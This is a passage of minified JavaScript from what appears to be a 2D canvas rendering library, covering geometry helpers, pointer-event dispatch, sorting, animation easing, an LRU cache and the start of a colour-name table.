t[0]=this.x,t[1]=this.y,t},t.prototype.fromArray=function(t){this.x=t[0],this.y=t[1]},t.set=function(t,e,n){t.x=e,t.y=n},t.copy=function(t,e){t.x=e.x,t.y=e.y},t.len=function(t){return Math.sqrt(t.x*t.x+t.y*t.y)},t.lenSquare=function(t){return t.x*t.x+t.y*t.y},t.dot=function(t,e){return t.x*e.x+t.y*e.y},t.add=function(t,e,n){t.x=e.x+n.x,t.y=e.y+n.y},t.sub=function(t,e,n){t.x=e.x-n.x,t.y=e.y-n.y},t.scale=function(t,e,n){t.x=e.x*n,t.y=e.y*n},t.scaleAndAdd=function(t,e,n,r){t.x=e.x+n.x*r,t.y=e.y+n.y*r},t.lerp=function(t,e,n,r){var i=1-r;t.x=i*e.x+r*n.x,t.y=i*e.y+r*n.y},t}(),Me=Math.min,Te=Math.max,ke=Math.abs,Ce=["x","y"],Ie=["width","height"],De=new Se,Ae=new Se,Le=new Se,Pe=new Se,Oe=Xe(),Re=Oe.minTv,Ne=Oe.maxTv,Ee=[0,0],Be=function(){function t(t,e,n,r){ze(this,t,e,n,r)}return t.set=function(t,e,n,r,i){return r<0&&(e+=r,r=-r),i<0&&(n+=i,i=-i),t.x=e,t.y=n,t.width=r,t.height=i,t},t.prototype.union=function(t){var e=Me(t.x,this.x),n=Me(t.y,this.y);isFinite(this.x)&&isFinite(this.width)?this.width=Te(t.x+t.width,this.x+this.width)-e:this.width=t.width,isFinite(this.y)&&isFinite(this.height)?this.height=Te(t.y+t.height,this.y+this.height)-n:this.height=t.height,this.x=e,this.y=n},t.prototype.applyTransform=function(e){t.applyTransform(this,this,e)},t.prototype.calculateTransform=function(t){return Ve([1,0,0,1,0,0],this,t)},t.prototype.intersect=function(e,n,r){return t.intersect(this,e,n,r)},t.intersect=function(e,n,r,i){r&&Se.set(r,0,0);var o=i&&i.outIntersectRect||null,a=i&&i.clamp;if(o&&(o.x=o.y=o.width=o.height=NaN),!e||!n)return!1;e instanceof t||(e=ze(He,e.x,e.y,e.width,e.height)),n instanceof t||(n=ze(We,n.x,n.y,n.width,n.height));var s=!!r;Oe.reset(i,s);var l=Oe.touchThreshold,u=e.x+l,c=e.x+e.width-l,h=e.y+l,f=e.y+e.height-l,p=n.x+l,d=n.x+n.width-l,g=n.y+l,v=n.y+n.height-l;if(u>c||h>f||p>d||g>v)return!1;var y=!(c<p||d<u||f<g||v<h);return(s||o)&&(Ee[0]=1/0,Ee[1]=0,Ue(u,c,p,d,0,s,o,a),Ue(h,f,g,v,1,s,o,a),s&&Se.copy(r,y?Oe.useDir?Oe.dirMinTv:Re:Ne)),y},t.contain=function(t,e,n){return e>=t.x&&e<=t.x+t.width&&n>=t.y&&n<=t.y+t.height},t.prototype.contain=function(e,n){return t.contain(this,e,n)},t.prototype.clone=function(){return new t(this.x,this.y,this.width,this.height)},t.prototype.copy=function(t){Fe(this,t)},t.prototype.plain=function(){return{x:this.x,y:this.y,width:this.width,height:this.height}},t.prototype.isFinite=function(){return isFinite(this.x)&&isFinite(this.y)&&isFinite(this.width)&&isFinite(this.height)},t.prototype.isZero=function(){return 0===this.width||0===this.height},t.create=function(e){return new t(e?e.x:0,e?e.y:0,e?e.width:0,e?e.height:0)},t.copy=function(t,e){return t.x=e.x,t.y=e.y,t.width=e.width,t.height=e.height,t},t.applyTransform=function(t,e,n){if(n){if(n[1]<1e-5&&n[1]>-1e-5&&n[2]<1e-5&&n[2]>-1e-5){var r=n[0],i=n[3],o=n[4],a=n[5];return t.x=e.x*r+o,t.y=e.y*i+a,t.width=e.width*r,t.height=e.height*i,t.width<0&&(t.x+=t.width,t.width=-t.width),void(t.height<0&&(t.y+=t.height,t.height=-t.height))}De.x=Le.x=e.x,De.y=Pe.y=e.y,Ae.x=Pe.x=e.x+e.width,Ae.y=Le.y=e.y+e.height,De.transform(n),Pe.transform(n),Ae.transform(n),Le.transform(n),t.x=Me(De.x,Ae.x,Le.x,Pe.x),t.y=Me(De.y,Ae.y,Le.y,Pe.y);var s=Te(De.x,Ae.x,Le.x,Pe.x),l=Te(De.y,Ae.y,Le.y,Pe.y);t.width=s-t.x,t.height=l-t.y}else t!==e&&Fe(t,e)},t.calculateTransform=function(t,e,n){var r=n.width/e.width,i=n.height/e.height;return me(t=ge(t||[]),t,Ct(Ge,-e.x,-e.y)),xe(t,t,Ct(Ge,r,i)),me(t,t,Ct(Ge,n.x,n.y)),t},t}(),ze=Be.set,Fe=Be.copy,Ve=Be.calculateTransform,He=new Be(0,0,0,0),We=new Be(0,0,0,0),Ge=[];function Ue(t,e,n,r,i,o,a,s){var l=ke(e-n),u=ke(r-t),c=Me(l,u),h=Ce[i],f=Ce[1-i],p=Ie[i];e<n||r<t?l<u?(o&&(Ne[h]=-l),s&&(a[h]=e,a[p]=0)):(o&&(Ne[h]=u),s&&(a[h]=t,a[p]=0)):(a&&(a[h]=Te(t,n),a[p]=Me(e,r)-a[h]),o&&(c<Ee[0]||Oe.useDir)&&(Ee[0]=Me(c,Ee[0]),(l<u||!Oe.bidirectional)&&(Re[h]=l,Re[f]=0,Oe.useDir&&Oe.calcDirMTV()),(l>=u||!Oe.bidirectional)&&(Re[h]=-u,Re[f]=0,Oe.useDir&&Oe.calcDirMTV())))}function Xe(){var t=0,e=new Se,n=new Se,r={minTv:new Se,maxTv:new Se,useDir:!1,dirMinTv:new Se,touchThreshold:0,bidirectional:!0,negativeSize:!1,reset:function(i,o){r.touchThreshold=0,i&&null!=i.touchThreshold&&(r.touchThreshold=Te(0,i.touchThreshold)),r.negativeSize=!1,o&&(r.minTv.set(1/0,1/0),r.maxTv.set(0,0),r.useDir=!1,i&&null!=i.direction&&(r.useDir=!0,r.dirMinTv.copy(r.minTv),n.copy(r.minTv),t=i.direction,r.bidirectional=null==i.bidirectional||!!i.bidirectional,r.bidirectional||e.set(Math.cos(t),Math.sin(t))))},calcDirMTV:function(){var o=r.minTv,a=r.dirMinTv,s=o.y*o.y+o.x*o.x,l=Math.sin(t),u=Math.cos(t),c=l*o.y+u*o.x;i(c)?i(o.x)&&i(o.y)&&a.set(0,0):(n.x=s*u/c,n.y=s*l/c,i(n.x)&&i(n.y)?a.set(0,0):(r.bidirectional||e.dot(n)>0)&&n.len()<a.len()&&a.copy(n))}};function i(t){return ke(t)<1e-10}return r}var Ye="silent";function qe(){!function(t){t.preventDefault(),t.stopPropagation(),t.cancelBubble=!0}(this.event)}var Ze=function(t){function e(){var e=null!==t&&t.apply(this,arguments)||this;return e.handler=null,e}return n(e,t),e.prototype.dispose=function(){},e.prototype.setCursor=function(){},e}(qt),je=function(t,e){this.x=t,this.y=e},Ke=["click","dblclick","mousewheel","mouseout","mouseup","mousedown","mousemove","contextmenu"],$e=new Be(0,0,0,0),Qe=function(t){function e(e,n,r,i,o){var a=t.call(this)||this;return a._hovered=new je(0,0),a.storage=e,a.painter=n,a.painterRoot=i,a._pointerSize=o,r=r||new Ze,a.proxy=null,a.setHandlerProxy(r),a._draggingMgr=new Yt(a),a}return n(e,t),e.prototype.setHandlerProxy=function(t){this.proxy&&this.proxy.dispose(),t&&(E(Ke,function(e){t.on&&t.on(e,this[e],this)},this),t.handler=this),this.proxy=t},e.prototype.mousemove=function(t){var e=t.zrX,n=t.zrY,r=en(this,e,n),i=this._hovered,o=i.target;o&&!o.__zr&&(o=(i=this.findHover(i.x,i.y)).target);var a=this._hovered=r?new je(e,n):this.findHover(e,n),s=a.target,l=this.proxy;l.setCursor&&l.setCursor(s?s.cursor:"default"),o&&s!==o&&this.dispatchToElement(i,"mouseout",t),this.dispatchToElement(a,"mousemove",t),s&&s!==o&&this.dispatchToElement(a,"mouseover",t)},e.prototype.mouseout=function(t){var e=t.zrEventControl;"only_globalout"!==e&&this.dispatchToElement(this._hovered,"mouseout",t),"no_globalout"!==e&&this.trigger("globalout",{type:"globalout",event:t})},e.prototype.resize=function(){this._hovered=new je(0,0)},e.prototype.dispatch=function(t,e){var n=this[t];n&&n.call(this,e)},e.prototype.dispose=function(){this.proxy.dispose(),this.storage=null,this.proxy=null,this.painter=null},e.prototype.setCursorStyle=function(t){var e=this.proxy;e.setCursor&&e.setCursor(t)},e.prototype.dispatchToElement=function(t,e,n){var r=(t=t||{}).target;if(!r||!r.silent){for(var i="on"+e,o=function(t,e,n){return{type:t,event:n,target:e.target,topTarget:e.topTarget,cancelBubble:!1,offsetX:n.zrX,offsetY:n.zrY,gestureEvent:n.gestureEvent,pinchX:n.pinchX,pinchY:n.pinchY,pinchScale:n.pinchScale,wheelDelta:n.zrDelta,zrByTouch:n.zrByTouch,which:n.which,stop:qe}}(e,t,n);r&&(r[i]&&(o.cancelBubble=!!r[i].call(r,o)),r.trigger(e,o),r=r.__hostTarget?r.__hostTarget:r.parent,!o.cancelBubble););o.cancelBubble||(this.trigger(e,o),this.painter&&this.painter.eachOtherLayer&&this.painter.eachOtherLayer(function(t){"function"==typeof t[i]&&t[i].call(t,o),t.trigger&&t.trigger(e,o)}))}},e.prototype.findHover=function(t,e,n){var r=this.storage.getDisplayList(),i=new je(t,e);if(tn(r,i,t,e,n),this._pointerSize&&!i.target){for(var o=[],a=this._pointerSize,s=a/2,l=new Be(t-s,e-s,a,a),u=r.length-1;u>=0;u--){var c=r[u];c===n||c.ignore||c.ignoreCoarsePointer||c.parent&&c.parent.ignoreCoarsePointer||($e.copy(c.getBoundingRect()),c.transform&&$e.applyTransform(c.transform),$e.intersect(l)&&o.push(c))}if(o.length)for(var h=Math.PI/12,f=2*Math.PI,p=0;p<s;p+=4)for(var d=0;d<f;d+=h){if(tn(o,i,t+p*Math.cos(d),e+p*Math.sin(d),n),i.target)return i}}return i},e.prototype.processGesture=function(t,e){this._gestureMgr||(this._gestureMgr=new he);var n=this._gestureMgr;"start"===e&&n.clear();var r=n.recognize(t,this.findHover(t.zrX,t.zrY,null).target,this.proxy.dom);if("end"===e&&n.clear(),r){var i=r.type;t.gestureEvent=i;var o=new je;o.target=r.target,this.dispatchToElement(o,i,r.event)}},e}(qt);function Je(t,e,n){if(t[t.rectHover?"rectContain":"contain"](e,n)){for(var r=t,i=void 0,o=!1;r;){if(r.ignoreClip&&(o=!0),!o){var a=r.getClipPath();if(a&&!a.contain(e,n))return!1}r.silent&&(i=!0);var s=r.__hostTarget;r=s?r.ignoreHostSilent?null:s:r.parent}return!i||Ye}return!1}function tn(t,e,n,r,i){for(var o=t.length-1;o>=0;o--){var a=t[o],s=void 0;if(a!==i&&!a.ignore&&(s=Je(a,n,r))&&(!e.topTarget&&(e.topTarget=a),s!==Ye)){e.target=a;break}}}function en(t,e,n){var r=t.painter;return e<0||e>r.getWidth()||n<0||n>r.getHeight()}E(["click","mousedown","mouseup","mousewheel","dblclick","contextmenu"],function(t){Qe.prototype[t]=function(e){var n,r,i=e.zrX,o=e.zrY,a=en(this,i,o);if("mouseup"===t&&a||(r=(n=this.findHover(i,o)).target),"mousedown"===t)this._downEl=r,this._downPoint=[e.zrX,e.zrY],this._upEl=r;else if("mouseup"===t)this._upEl=r;else if("click"===t){if(this._downEl!==this._upEl||!this._downPoint||Bt(this._downPoint,[e.zrX,e.zrY])>4)return;this._downPoint=null}this.dispatchToElement(n,t,e)}});function nn(t,e,n,r){var i=e+1;if(i===n)return 1;if(r(t[i++],t[e])<0){for(;i<n&&r(t[i],t[i-1])<0;)i++;!function(t,e,n){n--;for(;e<n;){var r=t[e];t[e++]=t[n],t[n--]=r}}(t,e,i)}else for(;i<n&&r(t[i],t[i-1])>=0;)i++;return i-e}function rn(t,e,n,r,i){for(r===e&&r++;r<n;r++){for(var o,a=t[r],s=e,l=r;s<l;)i(a,t[o=s+l>>>1])<0?l=o:s=o+1;var u=r-s;switch(u){case 3:t[s+3]=t[s+2];case 2:t[s+2]=t[s+1];case 1:t[s+1]=t[s];break;default:for(;u>0;)t[s+u]=t[s+u-1],u--}t[s]=a}}function on(t,e,n,r,i,o){var a=0,s=0,l=1;if(o(t,e[n+i])>0){for(s=r-i;l<s&&o(t,e[n+i+l])>0;)a=l,(l=1+(l<<1))<=0&&(l=s);l>s&&(l=s),a+=i,l+=i}else{for(s=i+1;l<s&&o(t,e[n+i-l])<=0;)a=l,(l=1+(l<<1))<=0&&(l=s);l>s&&(l=s);var u=a;a=i-l,l=i-u}for(a++;a<l;){var c=a+(l-a>>>1);o(t,e[n+c])>0?a=c+1:l=c}return l}function an(t,e,n,r,i,o){var a=0,s=0,l=1;if(o(t,e[n+i])<0){for(s=i+1;l<s&&o(t,e[n+i-l])<0;)a=l,(l=1+(l<<1))<=0&&(l=s);l>s&&(l=s);var u=a;a=i-l,l=i-u}else{for(s=r-i;l<s&&o(t,e[n+i+l])>=0;)a=l,(l=1+(l<<1))<=0&&(l=s);l>s&&(l=s),a+=i,l+=i}for(a++;a<l;){var c=a+(l-a>>>1);o(t,e[n+c])<0?l=c:a=c+1}return l}function sn(t,e){var n,r,i=7,o=0,a=[];function s(s){var l=n[s],u=r[s],c=n[s+1],h=r[s+1];r[s]=u+h,s===o-3&&(n[s+1]=n[s+2],r[s+1]=r[s+2]),o--;var f=an(t[c],t,l,u,0,e);l+=f,0!==(u-=f)&&0!==(h=on(t[l+u-1],t,c,h,h-1,e))&&(u<=h?function(n,r,o,s){var l=0;for(l=0;l<r;l++)a[l]=t[n+l];var u=0,c=o,h=n;if(t[h++]=t[c++],0===--s){for(l=0;l<r;l++)t[h+l]=a[u+l];return}if(1===r){for(l=0;l<s;l++)t[h+l]=t[c+l];return void(t[h+s]=a[u])}var f,p,d,g=i;for(;;){f=0,p=0,d=!1;do{if(e(t[c],a[u])<0){if(t[h++]=t[c++],p++,f=0,0===--s){d=!0;break}}else if(t[h++]=a[u++],f++,p=0,1===--r){d=!0;break}}while((f|p)<g);if(d)break;do{if(0!==(f=an(t[c],a,u,r,0,e))){for(l=0;l<f;l++)t[h+l]=a[u+l];if(h+=f,u+=f,(r-=f)<=1){d=!0;break}}if(t[h++]=t[c++],0===--s){d=!0;break}if(0!==(p=on(a[u],t,c,s,0,e))){for(l=0;l<p;l++)t[h+l]=t[c+l];if(h+=p,c+=p,0===(s-=p)){d=!0;break}}if(t[h++]=a[u++],1===--r){d=!0;break}g--}while(f>=7||p>=7);if(d)break;g<0&&(g=0),g+=2}if((i=g)<1&&(i=1),1===r){for(l=0;l<s;l++)t[h+l]=t[c+l];t[h+s]=a[u]}else{if(0===r)throw new Error;for(l=0;l<r;l++)t[h+l]=a[u+l]}}(l,u,c,h):function(n,r,o,s){var l=0;for(l=0;l<s;l++)a[l]=t[o+l];var u=n+r-1,c=s-1,h=o+s-1,f=0,p=0;if(t[h--]=t[u--],0===--r){for(f=h-(s-1),l=0;l<s;l++)t[f+l]=a[l];return}if(1===s){for(p=(h-=r)+1,f=(u-=r)+1,l=r-1;l>=0;l--)t[p+l]=t[f+l];return void(t[h]=a[c])}var d=i;for(;;){var g=0,v=0,y=!1;do{if(e(a[c],t[u])<0){if(t[h--]=t[u--],g++,v=0,0===--r){y=!0;break}}else if(t[h--]=a[c--],v++,g=0,1===--s){y=!0;break}}while((g|v)<d);if(y)break;do{if(0!==(g=r-an(a[c],t,n,r,r-1,e))){for(r-=g,p=(h-=g)+1,f=(u-=g)+1,l=g-1;l>=0;l--)t[p+l]=t[f+l];if(0===r){y=!0;break}}if(t[h--]=a[c--],1===--s){y=!0;break}if(0!==(v=s-on(t[u],a,0,s,s-1,e))){for(s-=v,p=(h-=v)+1,f=(c-=v)+1,l=0;l<v;l++)t[p+l]=a[f+l];if(s<=1){y=!0;break}}if(t[h--]=t[u--],0===--r){y=!0;break}d--}while(g>=7||v>=7);if(y)break;d<0&&(d=0),d+=2}(i=d)<1&&(i=1);if(1===s){for(p=(h-=r)+1,f=(u-=r)+1,l=r-1;l>=0;l--)t[p+l]=t[f+l];t[h]=a[c]}else{if(0===s)throw new Error;for(f=h-(s-1),l=0;l<s;l++)t[f+l]=a[l]}}(l,u,c,h))}return n=[],r=[],{mergeRuns:function(){for(;o>1;){var t=o-2;if(t>=1&&r[t-1]<=r[t]+r[t+1]||t>=2&&r[t-2]<=r[t]+r[t-1])r[t-1]<r[t+1]&&t--;else if(r[t]>r[t+1])break;s(t)}},forceMergeRuns:function(){for(;o>1;){var t=o-2;t>0&&r[t-1]<r[t+1]&&t--,s(t)}},pushRun:function(t,e){n[o]=t,r[o]=e,o+=1}}}function ln(t,e,n,r){n||(n=0),r||(r=t.length);var i=r-n;if(!(i<2)){var o=0;if(i<32)rn(t,n,r,n+(o=nn(t,n,r,e)),e);else{var a=sn(t,e),s=function(t){for(var e=0;t>=32;)e|=1&t,t>>=1;return t+e}(i);do{if((o=nn(t,n,r,e))<s){var l=i;l>s&&(l=s),rn(t,n,n+l,n+o,e),o=l}a.pushRun(n,o),a.mergeRuns(),i-=o,n+=o}while(0!==i);a.forceMergeRuns()}}}var un=!1;function cn(){un||(un=!0,console.warn("z / z2 / zlevel of displayable is invalid, which may cause unexpected errors"))}function hn(t,e){return t.zlevel===e.zlevel?t.z===e.z?t.z2-e.z2:t.z-e.z:t.zlevel-e.zlevel}var fn=function(){function t(){this._roots=[],this._displayList=[],this._displayListLen=0,this.displayableSortFunc=hn}return t.prototype.traverse=function(t,e){for(var n=0;n<this._roots.length;n++)this._roots[n].traverse(t,e)},t.prototype.getDisplayList=function(t,e){e=e||!1;var n=this._displayList;return!t&&n.length||this.updateDisplayList(e),n},t.prototype.updateDisplayList=function(t){this._displayListLen=0;for(var e=this._roots,n=this._displayList,r=0,i=e.length;r<i;r++)this._updateAndAddDisplayable(e[r],null,t);n.length=this._displayListLen,ln(n,hn)},t.prototype._updateAndAddDisplayable=function(t,e,n){if(!t.ignore||n){t.beforeUpdate(),t.update(),t.afterUpdate();var r=t.getClipPath(),i=e&&e.length,o=0,a=t.__clipPaths;if(!t.ignoreClip&&(i||r)){if(a||(a=t.__clipPaths=[]),i)for(var s=0;s<e.length;s++)a[o++]=e[s];for(var l=r,u=t;l;)l.parent=u,l.updateTransform(),a[o++]=l,u=l,l=l.getClipPath()}if(a&&(a.length=o),t.childrenRef){for(var c=t.childrenRef(),h=0;h<c.length;h++){var f=c[h];t.__dirty&&(f.__dirty|=1),this._updateAndAddDisplayable(f,a,n)}t.__dirty=0}else{var p=t;isNaN(p.z)&&(cn(),p.z=0),isNaN(p.z2)&&(cn(),p.z2=0),isNaN(p.zlevel)&&(cn(),p.zlevel=0),this._displayList[this._displayListLen++]=p}var d=t.getDecalElement&&t.getDecalElement();d&&this._updateAndAddDisplayable(d,a,n);var g=t.getTextGuideLine();g&&this._updateAndAddDisplayable(g,a,n);var v=t.getTextContent();v&&this._updateAndAddDisplayable(v,a,n)}},t.prototype.addRoot=function(t){t.__zr&&t.__zr.storage===this||this._roots.push(t)},t.prototype.delRoot=function(t){if(t instanceof Array)for(var e=0,n=t.length;e<n;e++)this.delRoot(t[e]);else{var r=P(this._roots,t);r>=0&&this._roots.splice(r,1)}},t.prototype.delAllRoots=function(){this._roots=[],this._displayList=[],this._displayListLen=0},t.prototype.getRoots=function(){return this._roots},t.prototype.dispose=function(){this._displayList=null,this._roots=null},t}(),pn=i.hasGlobalWindow&&(window.requestAnimationFrame&&window.requestAnimationFrame.bind(window)||window.msRequestAnimationFrame&&window.msRequestAnimationFrame.bind(window)||window.mozRequestAnimationFrame||window.webkitRequestAnimationFrame)||function(t){return setTimeout(t,16)},dn={linear:function(t){return t},quadraticIn:function(t){return t*t},quadraticOut:function(t){return t*(2-t)},quadraticInOut:function(t){return(t*=2)<1?.5*t*t:-.5*(--t*(t-2)-1)},cubicIn:function(t){return t*t*t},cubicOut:function(t){return--t*t*t+1},cubicInOut:function(t){return(t*=2)<1?.5*t*t*t:.5*((t-=2)*t*t+2)},quarticIn:function(t){return t*t*t*t},quarticOut:function(t){return 1- --t*t*t*t},quarticInOut:function(t){return(t*=2)<1?.5*t*t*t*t:-.5*((t-=2)*t*t*t-2)},quinticIn:function(t){return t*t*t*t*t},quinticOut:function(t){return--t*t*t*t*t+1},quinticInOut:function(t){return(t*=2)<1?.5*t*t*t*t*t:.5*((t-=2)*t*t*t*t+2)},sinusoidalIn:function(t){return 1-Math.cos(t*Math.PI/2)},sinusoidalOut:function(t){return Math.sin(t*Math.PI/2)},sinusoidalInOut:function(t){return.5*(1-Math.cos(Math.PI*t))},exponentialIn:function(t){return 0===t?0:Math.pow(1024,t-1)},exponentialOut:function(t){return 1===t?1:1-Math.pow(2,-10*t)},exponentialInOut:function(t){return 0===t?0:1===t?1:(t*=2)<1?.5*Math.pow(1024,t-1):.5*(2-Math.pow(2,-10*(t-1)))},circularIn:function(t){return 1-Math.sqrt(1-t*t)},circularOut:function(t){return Math.sqrt(1- --t*t)},circularInOut:function(t){return(t*=2)<1?-.5*(Math.sqrt(1-t*t)-1):.5*(Math.sqrt(1-(t-=2)*t)+1)},elasticIn:function(t){var e,n=.1;return 0===t?0:1===t?1:(!n||n<1?(n=1,e=.1):e=.4*Math.asin(1/n)/(2*Math.PI),-n*Math.pow(2,10*(t-=1))*Math.sin((t-e)*(2*Math.PI)/.4))},elasticOut:function(t){var e,n=.1;return 0===t?0:1===t?1:(!n||n<1?(n=1,e=.1):e=.4*Math.asin(1/n)/(2*Math.PI),n*Math.pow(2,-10*t)*Math.sin((t-e)*(2*Math.PI)/.4)+1)},elasticInOut:function(t){var e,n=.1,r=.4;return 0===t?0:1===t?1:(!n||n<1?(n=1,e=.1):e=r*Math.asin(1/n)/(2*Math.PI),(t*=2)<1?n*Math.pow(2,10*(t-=1))*Math.sin((t-e)*(2*Math.PI)/r)*-.5:n*Math.pow(2,-10*(t-=1))*Math.sin((t-e)*(2*Math.PI)/r)*.5+1)},backIn:function(t){var e=1.70158;return t*t*((e+1)*t-e)},backOut:function(t){var e=1.70158;return--t*t*((e+1)*t+e)+1},backInOut:function(t){var e=2.5949095;return(t*=2)<1?t*t*((e+1)*t-e)*.5:.5*((t-=2)*t*((e+1)*t+e)+2)},bounceIn:function(t){return 1-dn.bounceOut(1-t)},bounceOut:function(t){return t<1/2.75?7.5625*t*t:t<2/2.75?7.5625*(t-=1.5/2.75)*t+.75:t<2.5/2.75?7.5625*(t-=2.25/2.75)*t+.9375:7.5625*(t-=2.625/2.75)*t+.984375},bounceInOut:function(t){return t<.5?.5*dn.bounceIn(2*t):.5*dn.bounceOut(2*t-1)+.5}},gn=Math.pow,vn=Math.sqrt,yn=1e-8,mn=1e-4,_n=vn(3),xn=1/3,bn=Tt(),wn=Tt(),Sn=Tt();function Mn(t){return t>-1e-8&&t<yn}function Tn(t){return t>yn||t<-1e-8}function kn(t,e,n,r,i){var o=1-i;return o*o*(o*t+3*i*e)+i*i*(i*r+3*o*n)}function Cn(t,e,n,r,i){var o=1-i;return 3*(((e-t)*o+2*(n-e)*i)*o+(r-n)*i*i)}function In(t,e,n,r,i,o){var a=r+3*(e-n)-t,s=3*(n-2*e+t),l=3*(e-t),u=t-i,c=s*s-3*a*l,h=s*l-9*a*u,f=l*l-3*s*u,p=0;if(Mn(c)&&Mn(h)){if(Mn(s))o[0]=0;else(M=-l/s)>=0&&M<=1&&(o[p++]=M)}else{var d=h*h-4*c*f;if(Mn(d)){var g=h/c,v=-g/2;(M=-s/a+g)>=0&&M<=1&&(o[p++]=M),v>=0&&v<=1&&(o[p++]=v)}else if(d>0){var y=vn(d),m=c*s+1.5*a*(-h+y),_=c*s+1.5*a*(-h-y);(M=(-s-((m=m<0?-gn(-m,xn):gn(m,xn))+(_=_<0?-gn(-_,xn):gn(_,xn))))/(3*a))>=0&&M<=1&&(o[p++]=M)}else{var x=(2*c*s-3*a*h)/(2*vn(c*c*c)),b=Math.acos(x)/3,w=vn(c),S=Math.cos(b),M=(-s-2*w*S)/(3*a),T=(v=(-s+w*(S+_n*Math.sin(b)))/(3*a),(-s+w*(S-_n*Math.sin(b)))/(3*a));M>=0&&M<=1&&(o[p++]=M),v>=0&&v<=1&&(o[p++]=v),T>=0&&T<=1&&(o[p++]=T)}}return p}function Dn(t,e,n,r,i){var o=6*n-12*e+6*t,a=9*e+3*r-3*t-9*n,s=3*e-3*t,l=0;if(Mn(a)){if(Tn(o))(c=-s/o)>=0&&c<=1&&(i[l++]=c)}else{var u=o*o-4*a*s;if(Mn(u))i[0]=-o/(2*a);else if(u>0){var c,h=vn(u),f=(-o-h)/(2*a);(c=(-o+h)/(2*a))>=0&&c<=1&&(i[l++]=c),f>=0&&f<=1&&(i[l++]=f)}}return l}function An(t,e,n,r,i,o){var a=(e-t)*i+t,s=(n-e)*i+e,l=(r-n)*i+n,u=(s-a)*i+a,c=(l-s)*i+s,h=(c-u)*i+u;o[0]=t,o[1]=a,o[2]=u,o[3]=h,o[4]=h,o[5]=c,o[6]=l,o[7]=r}function Ln(t,e,n,r,i,o,a,s,l){for(var u=t,c=e,h=0,f=1/l,p=1;p<=l;p++){var d=p*f,g=kn(t,n,i,a,d),v=kn(e,r,o,s,d),y=g-u,m=v-c;h+=Math.sqrt(y*y+m*m),u=g,c=v}return h}function Pn(t,e,n,r){var i=1-r;return i*(i*t+2*r*e)+r*r*n}function On(t,e,n,r){return 2*((1-r)*(e-t)+r*(n-e))}function Rn(t,e,n){var r=t+n-2*e;return 0===r?.5:(t-e)/r}function Nn(t,e,n,r,i){var o=(e-t)*r+t,a=(n-e)*r+e,s=(a-o)*r+o;i[0]=t,i[1]=o,i[2]=s,i[3]=s,i[4]=a,i[5]=n}function En(t,e,n,r,i,o,a){for(var s=t,l=e,u=0,c=1/a,h=1;h<=a;h++){var f=h*c,p=Pn(t,n,i,f),d=Pn(e,r,o,f),g=p-s,v=d-l;u+=Math.sqrt(g*g+v*v),s=p,l=d}return u}var Bn=/cubic-bezier\(([0-9,\.e ]+)\)/;function zn(t){var e=t&&Bn.exec(t);if(e){var n=e[1].split(","),r=+ut(n[0]),i=+ut(n[1]),o=+ut(n[2]),a=+ut(n[3]);if(isNaN(r+i+o+a))return;var s=[];return function(t){return t<=0?0:t>=1?1:In(0,r,o,1,t,s)&&kn(0,i,a,1,s[0])}}}var Fn=function(){function t(t){this._inited=!1,this._startTime=0,this._pausedTime=0,this._paused=!1,this._life=t.life||1e3,this._delay=t.delay||0,this.loop=t.loop||!1,this.onframe=t.onframe||bt,this.ondestroy=t.ondestroy||bt,this.onrestart=t.onrestart||bt,t.easing&&this.setEasing(t.easing)}return t.prototype.step=function(t,e){if(this._inited||(this._startTime=t+this._delay,this._inited=!0),!this._paused){var n=this._life,r=t-this._startTime-this._pausedTime,i=r/n;i<0&&(i=0),i=Math.min(i,1);var o=this.easingFunc,a=o?o(i):i;if(this.onframe(a),1===i){if(!this.loop)return!0;var s=r%n;this._startTime=t-s,this._pausedTime=0,this.onrestart()}return!1}this._pausedTime+=e},t.prototype.pause=function(){this._paused=!0},t.prototype.resume=function(){this._paused=!1},t.prototype.setEasing=function(t){this.easing=t,this.easingFunc=X(t)?t:dn[t]||zn(t)},t}(),Vn=function(t){this.value=t},Hn=function(){function t(){this._len=0}return t.prototype.insert=function(t){var e=new Vn(t);return this.insertEntry(e),e},t.prototype.insertEntry=function(t){this.head?(this.tail.next=t,t.prev=this.tail,t.next=null,this.tail=t):this.head=this.tail=t,this._len++},t.prototype.remove=function(t){var e=t.prev,n=t.next;e?e.next=n:this.head=n,n?n.prev=e:this.tail=e,t.next=t.prev=null,this._len--},t.prototype.len=function(){return this._len},t.prototype.clear=function(){this.head=this.tail=null,this._len=0},t}(),Wn=function(){function t(t){this._list=new Hn,this._maxSize=10,this._map={},this._maxSize=t}return t.prototype.put=function(t,e){var n=this._list,r=this._map,i=null;if(null==r[t]){var o=n.len(),a=this._lastRemovedEntry;if(o>=this._maxSize&&o>0){var s=n.head;n.remove(s),delete r[s.key],i=s.value,this._lastRemovedEntry=s}a?a.value=e:a=new Vn(e),a.key=t,n.insertEntry(a),r[t]=a}return i},t.prototype.get=function(t){var e=this._map[t],n=this._list;if(null!=e)return e!==n.tail&&(n.remove(e),n.insertEntry(e)),e.value},t.prototype.clear=function(){this._list.clear(),this._map={}},t.prototype.len=function(){return this._list.len()},t}(),Gn={transparent:[0,0,0,0],aliceblue:[240,248,255,1],antiquewhite:[250,235,215,1],aqua:[0,255,255,1],aquamarine:[127,255,212,1],azure:[240,255,255,1],beige:[245,245,220,1],bisque:[255,228,196,1],black:[0,0,0,1],blanchedalmond:[255,235,205,1],blue:[0,0,255,1],blueviolet:[138,43,226,1],brown:[165,42,42,1],burlywood:[222,184,135,1],cadetblue:[95,158,160,1],chartreuse:[127,255,0,1],chocolate:[210,105,30,1],coral:[255,127,80,1],cornflowerblue:[100,149,237,1],cornsilk:[255,248,220,1],crimson:[220,20,60,1],cyan:[0,255,255,1],darkblue:[0,0,139,1],darkcyan:[0,139,139,1],darkgoldenrod:[184,134,11,1],darkgray:[169,169,169,1],darkgreen:[0,100,0,1],darkgrey:[169,169,169,1],darkkhaki:[189,183,107,1],darkmagenta:[139,0,139,1],darkolivegreen:[85,107,47,1],darkorange:[255,140,0,1],darkorchid:[153,50,204,1],darkred:[139,0,0,1],darksalmon:[233,150,122,1],darkseagreen:[143,188,143,1],darkslateblue:[72,61,139,1],darkslategray:[47,79,79,1],darkslategrey:[47,79,79,1],darkturquoise:[0,206,209,1],darkviolet:[148,0,211,1],deeppink:[255,20,147,1],deepskyblue:[0,191,255,1],dimgray:[105,105,105,1],dimgrey:[105,105,105,1],dodgerblue:[30,144,255,1],firebrick:[178,34,34,1],floralwhite:[255,250,240,1],forestgreen:[34,139,34,1],fuchsia:[255,0,255,1],gainsboro:[220,220,220,1],ghostwhite:[248,248,255,1],gold:[255,215,0,1],goldenrod:[218,165,32,1],gray:[128,128,128,1],green:[0,128,0,1],greenyellow:[173,255,47,1],gre